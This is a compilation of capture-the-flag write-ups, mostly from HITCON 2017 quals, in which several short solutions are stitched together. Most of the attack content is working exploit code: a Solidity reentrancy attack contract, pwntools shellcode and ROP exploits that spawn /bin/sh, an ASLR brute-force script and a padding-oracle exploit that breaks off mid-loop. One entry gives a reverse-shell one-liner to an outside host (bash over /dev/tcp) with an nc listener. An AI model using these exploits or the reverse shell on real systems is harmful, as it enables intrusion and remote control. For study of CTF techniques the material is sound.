Looking at the solidity contract given to us, the only line that stood out to me was line 62: `msg.sender.call.value(amount)()`. If it is returning ether to a payable smart contract, it will wait for the smart contract to finish executing the code in its fallback function before continuing, when it subtracts from the attacker's balance.```jsfunction withdraw(uint256 amount) onlyWithMoney(amount) { require(amount > 0); msg.sender.call.value(amount)(); // This is called before the next line balanceOf[msg.sender]-=amount; // If this function is called recursively, this won't happen until too late! Withdraw(msg.sender, amount);}```If an attacker smart contract recursively calls the withdraw() function, it will not subtract from the attacker’s balance until after refunding each recursive call. This means that an attacker can withdraw all the ether in the victim smart contract.
```js// Start the attackfunction attack() { performAttack = true; dctf.invest.value(1)(this); // Need to invest a bit to get started. dctf.withdraw(1);}
// Fallback (Called when the contract is paid and another function is notcalled)function() payable { if (performAttack) { performAttack = false; dctf.withdraw(1); // Recursively called }}```
After successfully exploiting the contract, the flag can be obtained bytransferring the ether to an owned wallet and calling get_flag.
```jsfunction getJackpot(){ dctf.withdraw(dctf.balance); // Withdraw monies just in case bool res = owner.send(this.balance); // Send all the ether to you performAttack = true;}```
Due to a bug in my code, I did not actually withdraw any ether, but I did underflow my smart contract’s balance. I then transferred my balance (~1e77) to my wallet and withdrew 100 ether from the victim contract.```DCTF{f9c6470f8b5b0873b8b2a22bc2711ea973864b5faa5753ca88b79f8ba0b62c6a}```
It turns out that this is the same exploit used during the DAO hack. |
The challenge allowed 8 byte shellcode, whilst no byte in it must occur more than once.
Also all registers except `rsp` / `rip` and current stack frame were zeroed.
The `stager` shellcode will first call `syscall` once, which will get `rip` into `rcx`. Then push/pop it and loop back to start, will do syscall again, and read another input, this time overwriting the existing shellcode (which is a `rwx` area) and execute it (this time 100 bytes and no constraints). Just serve a simple execve shellcode then.
```#!/usr/bin/pythonfrom pwn import *import sys
LOCAL = True
HOST = "13.112.180.65"PORT = 8361
# First syscall loads rip into rcx# Second syscall overwrites the shellcode with the new inputSTAGER = """ start: syscall push rcx pop rsi mov dl, 100 jmp start """
# Simple execve shellcodeSHELLCODE = """ mov rax, 59 mov rdi, rcx add rdi, 0x16 xor rsi, rsi xor rdx, rdx syscall """
def exploit(r): context.arch = "amd64"
print (disasm(asm(STAGER)))
log.info("Sending stager shellcode")
r.recvuntil("Give me your code :") r.send(asm(STAGER))
log.info("Send /bin/sh shellcode") payload = asm(SHELLCODE)+"/bin/sh\x00" r.sendline(payload)
r.interactive() return
if __name__ == "__main__": if len(sys.argv) > 1: LOCAL = False r = remote(HOST, PORT) exploit(r) else: LOCAL = True r = process("./re_easy_to_say") print util.proc.pidof(r) pause() exploit(r)
``` |
[https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/artifact](https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/artifact)
* SECCOMP rules.```c line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018 0002: 0x20 0x00 0x00 0x00000020 A = args[2] 0003: 0x07 0x00 0x00 0x00000000 X = A 0004: 0x20 0x00 0x00 0x00000000 A = sys_number 0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019 0006: 0x15 0x0c 0x00 0x00000001 if (A == write) goto 0019 0007: 0x15 0x0b 0x00 0x00000005 if (A == fstat) goto 0019 0008: 0x15 0x0a 0x00 0x00000008 if (A == lseek) goto 0019 0009: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0011 0010: 0x15 0x00 0x03 0x0000000a if (A != mprotect) goto 0014 0011: 0x87 0x00 0x00 0x00000000 A = X 0012: 0x54 0x00 0x00 0x00000001 A &= 0x1 0013: 0x15 0x04 0x05 0x00000001 if (A == 1) goto 0018 else goto 0019 0014: 0x1d 0x04 0x00 0x0000000b if (A == X) goto 0019 0015: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0019 0016: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0019 0017: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0019 0018: 0x06 0x00 0x00 0x00000000 return KILL 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW```* mmap and mprotect are killed when the third arg is odd, because the third arg for mmap and mprotect are prot of the memory, the execution bit is not allowed to be set.* When the syscall is not all of above and the syscall number of it is equal to the third arg, it could pass the seccomp rule , therefor, open is great for this XD* ORW* see the exploit code for more details. |
The challenge gives a relative write-what-where in a buffer on the stack. Using this, we can acquire a one-time arbitrary read in one run, and build our ROP chain for code execution in another run.
```#!/usr/bin/python"""Used Dragon Sector's SSP leak idea to get the base address of libc during one run, beforebruteforcing the 32-bit ASLR. Couldn't think of another way to get a read without crashingthe process, so this was the best I could come up with. Using the leak, one can abuse theweakness of ASLR on 32-bit Linux systems, and just bruteforce their way into a shell,either in minutes or seconds.
Reference: http://j00ru.vexillium.org/blog/29_05_14/dragons.pdf
-0x100000000 is used where the unsigned value is > MAX_LONG and thus has to become signed in order to get value written."""
from pwn import *
binary = "./warehouse"
ip = '200.136.213.83'port = 8888
#DEBUG = TrueDEBUG = Falsecontext.log_level = "DEBUG"
elf = ELF(binary)
remote_libc = ELF("./libc.so.6")debug_libc = ELF("/lib/i386-linux-gnu/libc.so.6")
def get_libc(): if DEBUG: return debug_libc else: return remote_libc
libc = get_libc()canary_offset = 0x40ret_offset = 0x48 #Right where we can begin building our rop chain
p = None
def get_pipe(): if DEBUG: return process(binary) else: return remote(ip, port)
#Data at address if stderr is redirected to socket output. So we can get this.def leak_ssp(read_addr): leak_proc = get_pipe() #Overwrite argv[0] leak_proc.sendline(str(0x6e)) leak_proc.sendline(str(read_addr)) #Smash the canary leak_proc.sendline(str(canary_offset)) leak_proc.sendline(str(0x7fffffff)) #1 in 2^32 chance this would fail. #Cause the crash leak_proc.sendline(".") leak_proc.recvuntil("***: ") output = leak_proc.recv() leak_proc.close() return output[0:output.index(" terminated")]
#And we've got a working one-time read. What's a nice gadget?"""0x3a819 - esi = GOT address of libc, [esp+0x34] == NULL0x5f065 - esi = GOT address of libc, eax == NULL, this we can make happen I think.0x5f066 - esi = GOT address of libc, [esp] == NULL
To set up the esi, there's this...0x080486ad : pop esi ; pop edi ; pop ebp ; ret
So, pop_esi_edi_ebp_retlibc_got0x000000000x00000000"""
#Begin to build our guessstart_main = leak_ssp(elf.got['__libc_start_main'])start_main = unpack(start_main[0:4])libc_base = start_main - get_libc().symbols['__libc_start_main']
print "Gonna guess for libc_base", hex(libc_base)
if DEBUG: magic_gadget = 0x5fbc5else: magic_gadget = 0x5f065 #Remnant of code for own libc
#Build the ROP chainpop_esi_edi_ebp_ret = 0x080486ad#Legit, need to get the .got.plt address of them.
got_addr = get_libc().get_section_by_name('.got.plt').header['sh_addr']libc_got = libc_base + got_addr
#Don't be afraid to bruteforce 32-bit ASLRwhile True: p = get_pipe() #libc_base = int(raw_input("DEBUG: Where is libc's base?"), 16) print "Guessing libc_base:", hex(libc_base) p.sendline(str(ret_offset)) p.sendline(str(pop_esi_edi_ebp_ret)) p.sendline(str(ret_offset+1)) p.sendline(str(-0x100000000 + libc_got)) #eax should already be zero. Can skip over +2, and +3 for next ret p.sendline(str(ret_offset+4)) p.sendline(str(-0x100000000 + libc_base + magic_gadget)) #Offset added to get value in
p.sendline(".") #Hopefully get our shell? time.sleep(1) if "Your stuffs" not in p.recv(): print "No crash yet?" p.interactive() else: p.close()
``` |
# Luaky - Crypto - 257 points - 29 teams solved
> Are you luaky enough?>> nc 13.113.99.240 50216> > [luaky-b96e16b023d07964125fa8a401b62504.elf](./luaky-b96e16b023d07964125fa8a401b62504.elf)
# Very Luaky - Crypto - 342 points - 9 teams solved
> You need to be VERY LUAKY :)>> nc 13.113.99.240 50216> > [luaky-b96e16b023d07964125fa8a401b62504.elf](./luaky-b96e16b023d07964125fa8a401b62504.elf)
In these challenges you must create a Rock-Paper-Scissors bot written in [Lua](https://www.lua.org) that can beat the server. Each round is 100000 hands, and you have to win 90000 of them to get a win. There are three different players in the server, each using a different simple pseudorandom generator with `state` seeded from `/dev/urandom`:
* Slime, which uses `state = (state + 1) % 3; cpuhand = state`* Alpaca, which uses `state = ((state + yourlasthand + 0x9E3779B9) % 0x100000000); cpuhand = state % 3`* Nozomi, which uses `state = ((state * 48271) % 0x7fffffff); cpuhand = state % 3` You fight Slime for 1 round, then Alpaca and Nozomi for up to 10 rounds each, or till you lose, whichever comes first. To get the first flag you have to win 10 rounds against either Alpaca or Nozomi. To get the second flag, you have to beat 100 rounds where the bot is picked randomly for each round.
Your Lua script only requires one function, `play()`, which gives the CPU's last hand as input and expects your hand (0, 1 or 2) as output. There were no obvious security holes in the Lua jail (`os` and `io` libraries were not loaded), but you have access to `print` which greatly helps with debugging. In addition there is a time limit of 1 second for each round. (Someone told me post-contest that there is no time limit during the initial script load, so you could have used that time for computation instead)
Beating Slime is the easiest - just return the last hand the CPU did, and you win every time.
Beating Alpaca is a bit harder. Disregarding the `yourlasthand` for now since we control its content, we observe that `0x9E3779B9 % 3 == 0`. This means that if `state < (0x100000000 - 0x9E3779B9)`, then the next CPU hand will be the same as the last CPU hand. On the other hand, if `state >= (0x100000000 - 0x9E3779B9)` it will be changed by the modulus operation, and since `0x100000000 % 3 == 1` it means the next CPU hand will be predictably different from the last one. So by observing two previous CPU states you can narrow down which range `state` was in. We use two variables, `alp_low` and `alp_high`, that bound the predicted range of the CPU state. After a few rounds, this bound gets accurate enough that you can predict most of the CPU hands and therefore can easily beat it.
Beating Nozomi is the hardest. We spent quite some time trying to see if there's some mathematical way to use CPU hands to leak info about the state and rebuild it based on that, but didn't find any solution. After a while we started focusing on precomputation - we start with `state = 1` then generate a string consisting of the next 50 CPU hands after that state, then store it along with the next state in a lookup table. We generate 250000 such strings, spaced 9000 states apart. This is easy to do since the generator is basically a [cyclic group](https://en.wikipedia.org/wiki/Cyclic_group) - in Python, we can do `pow(48271, 9000, 0x7fffffff) = 1467418072` and then in Lua `state * 1467418072 % 0x7fffffff` is the same as skipping 9000 states ahead.
However, generating these strings takes quite a bit of time. We decided to spread the generation out over the rounds where we play against the other two bots. With the table ready, we can beat Nozomi. We take the last 50 CPU hands and see if it's in the table - if it is, we instantly know the next state from the lookup. Due to the way our table is constructed, we are guaranteed to find a lookup within the 9050 first hands, which gives us plenty of hands to win the round.
We got the first flag, and it is `hitcon{Hey Lu4ky AI, I am Alpaca... MEH!}`
For the second flag, we don't know which bot we're playing against in each round. So we use the first 50 hands to identify it - Slime is easy because it always changes hands predictably each round, and Alpaca is also easy since if you always pick 0 as your hand, it will either use the same hand as the last round or `(last + 2) % 3`, but never the remaining hand. If neither of those patterns fit, we know we're fighting Nozomi.
After 100 rounds we get the second flag - `hitcon{Got AC by r4nd() % 3! Nozomi p0wer chuunyuuuuu~ <3}` |
# Sakura - Reversing - 218 points - 50 teams solved
> She accompanies me every night.> > [sakura-fdb3c896d8a3029f40a38150b2e30a79](./sakura-fdb3c896d8a3029f40a38150b2e30a79)
This binary reads 400 bytes from stdin, runs a lot of verification tests on the input, then gives the flag as the SHA256 hash of the input. While the verification function is huge (and makes Hex-Rays choke a bit), it is pretty neatly structured. Each step adds up different digits from the input then verifies that the sum of those digits match.
Our [angr](http://angr.io/) skills are a bit rusty, and this seems like an ideal task to freshen up those skills. The thing that worked really well this time was the `avoid` parameter to `explore()` - the verification function doesn't return instantly on failure, it just clears a flag then continues executing the rest of the function - if we just told `angr` to reach the flag printing code, it would spend a lot of time analyzing dead paths. So we give it a list of addresses that instantly terminate an analysis branch if ever reached, cutting significantly down on the amount of work the analyzer has to do. We also hacked in some step-by-step debugging output by doing `explore()` in smaller chunks to see how well `angr` is doing, though there's probably some better way to do this.
After a few minutes, `angr` had found valid input, and we fed it into the program and got the flag in return - `hitcon{6c0d62189adfd27a12289890d5b89c0dc8098bc976ecc3f6d61ec0429cccae61}` |
Example host: http://zzzz.tk/index.html
```bash -c 'bash -i >& /dev/tcp/zzzz.tk/8787 0>&1'```
---
1. reset2. cmd
```>echo>wget>zz\\*>.arm w*rm z*>z\\*>>.arm z*>z.tk*>>.ash .ash i*```
---
At zzzz.tk: `nc -l 8787` |
1. Leak canary2. Overwrite ret addr with ROP chain3. In the ROP chain:* Set global value stack_prot to 7* Call dl_make_stack_exec with libc_stack_end as argument to make stack executable (ref: http://radare.today/posts/defeating-baby_rop-with-radare2/ )* Call read again to read execve /bin/sh shellcode onto the stack4. ret to the shellcode5. Send 'exit\n' to cause ROP chain to be executed |
# Misc - Easy to say
> Write-up by feignix (Paras Chetal)
We were supposed to write a x86_64 /bin/sh shellcode of less than 24 bytes with all bytes unique.
## Shellcode:
```
\xb0\x3b ;mov al, 0x3b
\xbb\xf4\x2e\x73\x68 ;mov ebx,0x68732ef4
\x01\xc3 ;add bx,ax "//sh"
\x48\xc1\xe3\x20 ;shl rbx, 0x20
\x53 ;push rbx
\x54 ;push rsp
\x5f ;pop rdi
\xc7\x07\x2f\x62\x69\x6e; mov [rdi], 0x6e69622f "/bin"
\x0f\x05 ;syscall```
`\xb0\x3b\xbb\xf4\x2e\x73\x68\x01\xc3\x48\xc1\xe3\x20\x53\x54\x5f\xc7\x07\x2f\x62\x69\x6e\x0f\x05`
## Steps (rasm2 came in very handy while debugging):
The stack and registers were cleared out already, so we needed to load the registers with the correct values and run syscall.
The first hurdle was to ensure that all bytes be unique. This meant that we could not just directly load the address of "/bin//sh" (0x68732f2f6e69622f) into rdi as is usually the case. We would have to create it with all unique bytes. Unfortunately, most of the operations (mov, add etc.) involving the r* registers begin with `\x48` so it meant we could only use one such instruction. I chose to first move "//sh" to ebx (no 0x48 here), and then use the shift left instruction on rbx (0x48 used) and then push it appropriately.
But directly moving "//sh" was not an option (unique bytes!), so I created it by moving (0x68732f2f - 0x3b) into ebx, and then adding ax (0x3b: which was already needed for the syscall, so I was trying to saving bytes). Then I shifted rbx by 32 bits and and pushed it onto the stack.
I now had to mov "/bin" to the stack too (I could not add to rbx, which was my initial thought process regarding this approach, because the add instruction also began with \x48 which I had already used in shift left). This was the second big hurdle I faced.
I initially used `mov [rsp], 0x6e69622f "/bin"`, followed by loading of address to rdi and then syscall. Unfortunately, the shellcode came out to be 25 bytes!
While trying other apporaches I discovred that `mov [rdi], 0x6e69622f "/bin"` took exactly 1 byte less than `mov [rsp], 0x6e69622f "/bin"` ! So I rearranged my earlier shellcode to load the stack ("/bin//sh") address to rdi before moving "/bin" onto the stack using `mov [rdi]` instead of `mov [rsp]` this time. Now the shellcode was 24 bytes only :)
After [sending the shellcode](exp.py), I got shell and read the flag: `hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}` |
Buffer overflow with a stack canary
Format string printf, except only lower case characters were allowed (a-z)Bypass this with a buffer input size of anything that ends in 0x00. (0x100, 0x200, 0x300)
Use format string to leak stack, leak stack cookie, leak libc, and write to rop chain to call system("/bin/sh").
Trigger rop chain and win! |
~~~~from pwn import *
#r = process('./easy')r = remote('52.69.40.204',8361)context.arch = 'amd64'
payload = ''payload += asm('mov rdi, 0x68732f6e69622e') #payload += asm('xor di, 1') # to avoid double "/"payload += asm('push rdi')payload += asm('push rsp') #payload += asm('pop rdi') # to avoid duplicatespayload += asm('mov al, 0x3b')payload += asm('syscall')
r.send(payload)
r.interactive()~~~~ |
[https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Secret_FS](https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Secret_FS)
`.txt` ->` t` -> e = 0x74 = 116
e = 3e2 = 116
flag1 = flag ^ 3 mod Nflag2 = flag ^ 116 mod N
xgcd( 3 , 116 ) = 39 * 3 - 1 * 116 = 1
flag1 ^ 39 * flag2 ^ -1 = flag ^ 1 mod N |
We're given the following source code:```php
Find a string that has a MD5 digest equal to itself!<form> <label>Answer: </label> <input type='text' name='md5' /> <input type='submit' /></form>
Find a string that has a MD5 digest equal to itself!
Source Code```We see that the md5's are compared with == instead of ===, which makes them vulnerable to type juggling vulnerabilities. In particular, if two strings both start with "0e" and contain numbers afterward, the == operator will always return that they're true. (Both get casted to integers of the form 0 * e ^{the remaining string}, so it returns 0 == 0).
To solve this, I just wrote a quick PHP script to generate strings of this form until one hashed to a hash of this form.
```php |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>hacklu-2017</span></span><span>/</span>exam<span>/</span> </div> </div>
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# Serial## 50 points## Misc
This challenge was a pretty straight forward serial data transmission. Thestructure of the messages appear to be:
```bit[0] header bit, always 0bit[1-8] databit[9] parity bitbit[10] stop bit, always 1```
The [parity bit](https://en.wikipedia.org/wiki/Parity_bit) is calculated by essentially counting the number of high bits. If the number of high bits is even, the parity bit should be 1, and if it is odd the parity bit should be 0.
When connecting to the challenge service, it prompts you with:
`8-1-1 even parity. Respond with '1' if you got the byte, '0' to retransmit.`
So, we find the number of number of high bits in the 8 bits after the headerbit, mod it by 2, and see if the parity bit is equal to the result. If it is,we append the character representation of that byte to our flag. Once wereceive all of the bytes, we win.
See our [script](serial_solve.py). |
# KASPERSKY INDUSTRIAL CTF QUALS 2017: Old School
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| Kaspersky Industrial CTF Quals 2017 | Old School | Fun | 150 |
### Description> Hey! Do you like playing? Are you old school?>> Have fun!>> Concat answer to KLCTF prefix>> [OLD_SCHOOL.bin](https://github.com/smokeleeteveryday/CTF_WRITEUPS/raw/master/2017/KASPERSKY/fun/old-school/challenge/old_school.bin)
## Write-upWe are given [old_school.bin](https://github.com/smokeleeteveryday/CTF_WRITEUPS/raw/master/2017/KASPERSKY/fun/old-school/challenge/old_school.bin), so let's first figure out whatkind of file this is:
```bash$ file old_school.binold_school.bin: NES ROM image (iNES): 2x16k PRG, 1x8k CHR [V-mirror]```
So it's a NES rom. Let's fire up a NES emulator (we used Nestopia) and check itout.
So it seems we are dealing with an edited version of Ms. Pac-Man. Starting thegame loads the first level identically to the original.
### SolutionAfter finishing the first level successfully, the second level is loaded. Wenotice, but now with some numbers floating around. In stead of playing throughthe whole game, we can use a level editor([Blinky](https://www.romhacking.net/utilities/393/)) for the original game toquickly see what all the levels look like. Levels 2 to 8 contain numbers:
This gives us the following sequence of numbers:
```level 2: 87 69 76 67 79 77 69level 3: 89 79 85 87 73 76 76level 4: 70 73 78 68 84 72 69level 5: 70 76 65 71 65 84level 6: 84 72 69 76 69 86 69 76level 7: 69 73 71 72 84level 8: 47 110 88 78 117 86 120 121 57```
If we convert the numbers (as decimals) to their corresponding ascii codes weget: `WELCOMEYOUWILLFINDTHEFLAGATTHELEVELEIGHT/nXNuVxy9`
The score view on the right of the level has been changed. Where the originalsays `HI-SCORE` and `1UP`, our version says `ON-PASTE` and `BIN`. So obviouslywe need to check [https://pastebin.com/nXNuVxy9](https://pastebin.com/nXNuVxy9),where we find a base64 string `S0xGQ1RGe1czXzRMTF9MMFYzX1IzVFIwfQ==`Decoding this gives us the flag.
#### Flag```bash$ base64 -d <<< S0xGQ1RGe1czXzRMTF9MMFYzX1IzVFIwfQ== && echoKLFCTF{W3_4LL_L0V3_R3TR0}``` |
## Writeup in 30 seconds
1. goto `/profile/1` to know the target is login as `[email protected]`2. with analyzing you can find the feature that removing `+` in email's name when sending messages * send to `[email protected]` will actually to `[email protected]` * is this feature exists when login?2. do port forwarding and use http://127.0.0.1:3000 for connection3. register an account in dropbox.com with email `[email protected]`4. login footbook with dropbox oauth5. you can see the flaaaaaag
## Some interesting things
1. I've tested some oauth providers, only `dropbox.com` gives unauthorized email. * But Dropbox will say the email is not verified in `extra_info`, don't ignore it!2. You guys are really creative :p, some interesting fake flags posted on Footbook:```hitcon{why_s0_s3ri0u$!!}hitcon{lfi_d03snt_sav3s_ou4_a$$}hitcon{wow_n1c3_lf1}hitcon{1_f00t_3q4l5_1_fl4g}hitcon{CSRF_for_fun_and_pr0f1t!}hitcon{f00t_1n_y0ur_m0uth?}hitcon{f00tb00k_1z_d4_r3al_fB!!!}hitcon{s3xy_f4c3b00k_>_<}hitcon{f00tbook?_flagbook?_2333}``` |
Here's a story how a CTF challenge was solved using $20. There are less expensive solutions (free), but, hey, this works and made us the 4th team to solve it of 8 total in a 1000+ competitor CTF.
https://www.eugenekolo.com/blog/hitcon-babyfirst-revenge-v2/
|
Original writeup: [http://toh.necst.it/hitconquals2017/crypto/Secret_Server_Revenge/](http://toh.necst.it/hitconquals2017/crypto/Secret_Server_Revenge/)
-----
This challenge naturally follows from Secret Server, of which you can find a writeup [here](http://toh.necst.it/hitconquals2017/crypto/Secret_Server/).
We are given [another](http://toh.necst.it/writeups_files/secretserverrevenge/secretserver.py) python script, which pretty much resembles the first one from Secret Server.
What has changed? This time the server won't provide us with the ciphertext for the flag, but we will instead need to find the value of a 56-byte random token. If we prove to the server that we know its value, it will kindly give us the flag in exchange.
To complicate things further, we are only allowed to send 340 requests before the connection is closed and the token reset.
It's obvious that our previous approach will not work, since it required up to 256 request per character. We need to find a different way to solve this.
## A different approach
Trying to find a character at a time is a good technique.The problem is that we can't send 256 requests for every single character. We would like to have, if possible, an oracle that can immediately reveal to us the value of a byte, with a single request.
Let's look around and try to find something like this. To start, let's just think about everything that could give us information about the value of unknown plaintexts.
Recall: the `unpad` method can unpad up to 256 characters, depending on the value of the last byte of the last block. Good! If we can recognize how many of the characters have been unpadded, this means that we immediately know the value of the last byte! (without making any additional requests)
### Finding how many of the bytes have been unpadded
We need a way to distinguish among all 256 possible lengths at which the plaintext has been cut.
This is how we can do it: we craft a long, fixed message (longer than 256 bytes). We then replace the beginning of the message with `get-md5`, so that the server will return to us the encrypted hash of the decrypted and unpadded message.
We can then append any block we want to this fixed message. Whatever the additional block is, the first part of the message will stay the same. Depending on the decrypted value of the last byte of the block we append, the fixed message will be cut at different positions after unpadding.The server will then reply with the encrypted hash of the truncated fixed message, which is indipendent of the block we appended, and only depends on the value of the last byte.We can use `unpad` as an oracle!
(Note: to preserve the original plaintext of the added block we will also have to add the block before it)
NB: if the unpadding comes short of removing the added blocks, the MD5 hash will include part of them, thus returning an unknown ciphertext. We can avoid this problem by recognizing this case, flipping the most significant bit on the last byte and making it fall in our preferred range.
This method has a limitation though: we can only find the value of the last byte of a block. This is therefore not enough to discover the value of the token.
### Generalizing to characters in every position
We can bypass the issue of only knowing the last byte of each block with some creativity.
We can move to a different problem: instead of finding the characters of the tokens at every index (which is currently impossible) we can obtain the encrypted MD5 hash of the token, truncated at every possible index, then find the last character of the hashes.
(Note: this is possible since the MD5 hash is a raw digest, not a hexdigest, thus the last byte can assume any of the 256 ASCII values.)
Knowing the last byte of the hashes, it is trivially possible to find all the preimages with a hash that ends with the same character. As before, we can proceed one character at a time.
Collisions on a single byte are possible, but we can just keep all possible candidates and gradually reduce the number later.
## The attack
The complete attack is something like this:- Collect the encrypted MD5 hashes for every truncation of the token (56 requests)- Send the long fixed message (starting with `get-md5`) and get the encrypted MD5 hashes of the message at every unpadding length (256-32=224 requests)- Add each encrypted token MD5 hash to the end of the long fixed message, without the final padding block, send it to the server and check the reply (56 requests): - if the resulting hash is one of the known ones, we know the value of the last byte of the MD5 hash of that cut of the token - otherwise flip the most significant bit of the last byte and check again (i.e. send a new request)- Locally find all possible token candidates that produce the correct last byte when hashed.
At the end of this procedure we will have a list of possible values for the token.
### How to reduce the pool of candidates
Since the possible candidates which satisfy the constraints on the last byte of the hashes are usually more than one, we need to find a way to reduce their number.
A simple idea is revealing the actual value of the last byte of every token block, instead of using their hashes. We can do this for the first, second and third block of the token. This is still usually not enough to uniquely identify the token, but in practice the number of candidates is reduced to less than 30 and often less than 10.
Since the whole attack requires around 300 requests we still have some leeway to find other ways to shrink the amount of candidates, like using the SHA1 hashes. The effort though is not really worth it, since with a little testing I found that the attack as it is already succeeds once every ~10 runs.
We just run it a few times and get our flag: `hitcon{uNp@d_M3th0D_i5_am4Z1n9!}`
Appreciation to HITCON for the amazing challenge! The whole CTF was challenging but rewarding, I will be waiting to play again next year :)
Here is the complete exploit. You can also download it from [here](http://toh.necst.it/writeups_files/secretserverrevenge/exploit.py).
```pythonfrom pwn import *import base64, random, stringfrom Crypto.Hash import MD5, SHA256
def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length
def unpad(msg): return msg[:-ord(msg[-1])]
def xor_str(s1, s2): '''XOR between two strings. The longer one is truncated.''' return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(s1, s2))
def blockify(text, blocklen): '''Splits the text as a list of blocklen-long strings''' return [text[i:i+blocklen] for i in xrange(0, len(text), blocklen)]
def flipiv(oldplain, newplain, iv): '''Modifies an IV to produce the desired new plaintext in the following block''' flipmask = xor_str(oldplain, newplain) return xor_str(iv, flipmask)
def solve_proof(p): instructions = p.recvline().strip() suffix = instructions[12:28] print suffix digest = instructions[-64:] print digest prefix = ''.join(random.choice(string.ascii_letters+string.digits) for _ in xrange(4)) newdigest = SHA256.new(prefix + suffix).hexdigest() while newdigest != digest: prefix = ''.join(random.choice(string.ascii_letters+string.digits) for _ in xrange(4)) newdigest = SHA256.new(prefix + suffix).hexdigest() print 'POW:', prefix p.sendline(prefix)
HOST = '52.192.29.52'PORT = 9999welcomeplain = pad('Welcome!!')
# retry until we guess the token correctly among the candidateswhile 1: try: p = remote(HOST, PORT) solve_proof(p)
# get welcome welcome = p.recvline(keepends=False)[13:] # remove prompt print 'Welcome:', welcome welcome_dec = base64.b64decode(welcome) welcomeblocks = blockify(welcome_dec, 16)
# get command-not-found p.sendline(welcome) notfound = p.recvline(keepends=False) print 'Command not found:', notfound
# get encrypted token payload = flipiv(welcomeplain, 'get-token'.ljust(16, '\x01'), welcomeblocks[0]) payload += welcomeblocks[1] p.sendline(base64.b64encode(payload)) token = p.recvline(keepends=False) print 'Token:', token token_dec = base64.b64decode(token) tokenblocks = blockify(token_dec, 16) tokenlen = len(token_dec) - 16
# get encrypted md5 for the token, cut at every possible index, from 8 to the end print '' print 'Collecting encrypted md5 hashes...' tokenmd5s = [] for i in range(56): # replace first 7 characters with 'get-md5' payload = flipiv('token: '.ljust(16, '\x00'), 'get-md5'.ljust(16, '\x00'), tokenblocks[0]) payload += ''.join(tokenblocks[1:]) # add a block where we control the last byte, to unpad at the correct length ('token: ' + i characters) payload += flipiv(welcomeplain, 'A'*15 + chr(16 + 16 + tokenlen - 7 - 1 - i), welcomeblocks[0]) payload += welcomeblocks[1] p.sendline(base64.b64encode(payload)) md5_enc = p.recvline(keepends=False) print i, md5_enc tokenmd5s.append(md5_enc)
# get the ciphertexts of the md5 hashes of a fixed message for every unpadding length from 32 to 255 # these will be used as oracles to guess the amount that was unpadded # we can reuse some of the ciphertexts we obtained before print '' print 'Collecting md5 oracles...' oraclemd5s = {} # key = md5ciphertext, value = unpadding amount
# we will craft a message longer than 256 bytes to check the unpadding up to 256 characters for unpad in range(32, 209): # 1 block payload = flipiv('token: '.ljust(16, '\x00'), 'get-md5'.ljust(16, '\x00'), tokenblocks[0]) # 1 + 4 = 5 blocks payload += ''.join(tokenblocks[1:]) # 5 + 11 = 16 blocks payload += 'A' * 16 * 11 # padding to reach 256 characters # 16 + 1 = 17 blocks payload += flipiv(welcomeplain, chr(unpad).rjust(16, '\x00'), welcomeblocks[0]) # replace last byte # 17 + 1 = 18 blocks payload += welcomeblocks[1]
p.sendline(base64.b64encode(payload)) md5_enc = p.recvline(keepends=False) print unpad, md5_enc oraclemd5s[md5_enc] = unpad
# we can reuse the ciphertexts when the additional crafted message is unpadded away for unpad in range(209, 256): md5_enc = tokenmd5s[8 + 1 + 255 - unpad] print unpad, md5_enc oraclemd5s[md5_enc] = unpad
# send token md5 hashes without padding block, compare unpadding to known ciphertexts print '' print 'Revealing last byte for each md5 hash...' candidates = [''] for index in range(56): # send the same crafted message as before, but replace last block with the md5 ciphertext payload = flipiv('token: '.ljust(16, '\x00'), 'get-md5'.ljust(16, '\x00'), tokenblocks[0]) payload += ''.join(tokenblocks[1:]) payload += 'A' * 16 * 11 payload += base64.b64decode(tokenmd5s[index])[:-16] # send whole md5 ciphertext without padding p.sendline(base64.b64encode(payload))
print index res = p.recvline(keepends=False) print "received:", res
# if the ciphertext is in oraclemd5s, we know the last byte of the md5 hash if res in oraclemd5s: lastbyte = oraclemd5s[res] print 'Found byte:', hex(lastbyte) newcandidates = [] for x in candidates: for c in range(256): if MD5.new(x + chr(c)).digest()[-1] == chr(lastbyte): newcandidates.append(x + chr(c)) candidates = newcandidates
# if the ciphertext is the one for 'command not found', the plaintext was completely unpadded # the last byte is 0 (plain = plain[:-0] -> '') elif res == notfound: print 'Command not found -> 0' lastbyte = 0 newcandidates = [] for x in candidates: for c in range(256): if MD5.new(x + chr(c)).digest()[-1] == chr(lastbyte): newcandidates.append(x + chr(c)) candidates = newcandidates
# if we haven't seen the ciphertext before, the unpadding included the last 2 blocks else: print 'Not found. [1-32]'
# flip most significant bit of last byte to move it in a good range newpayload = payload[:-17] + xor_str(payload[-17], '\x80') + payload[-16:] p.sendline(base64.b64encode(newpayload)) res = p.recvline(keepends=False)
# check, same as before if res in oraclemd5s: lastbyte = oraclemd5s[res] ^ 0x80 print 'Found byte:', hex(lastbyte) newcandidates = [] for x in candidates: for c in range(256): if MD5.new(x + chr(c)).digest()[-1] == chr(lastbyte): newcandidates.append(x + chr(c)) candidates = newcandidates elif res == notfound: print 'Command not found -> 0' lastbyte = 0 ^ 0x80 newcandidates = [] for x in candidates: for c in range(256): if MD5.new(x + chr(c)).digest()[-1] == chr(lastbyte): newcandidates.append(x + chr(c)) candidates = newcandidates else: raise AssertionError("Something went wrong, couldn't identify byte.")
print '' print 'Candidates:' print candidates print 'No. of candidates:', len(candidates)
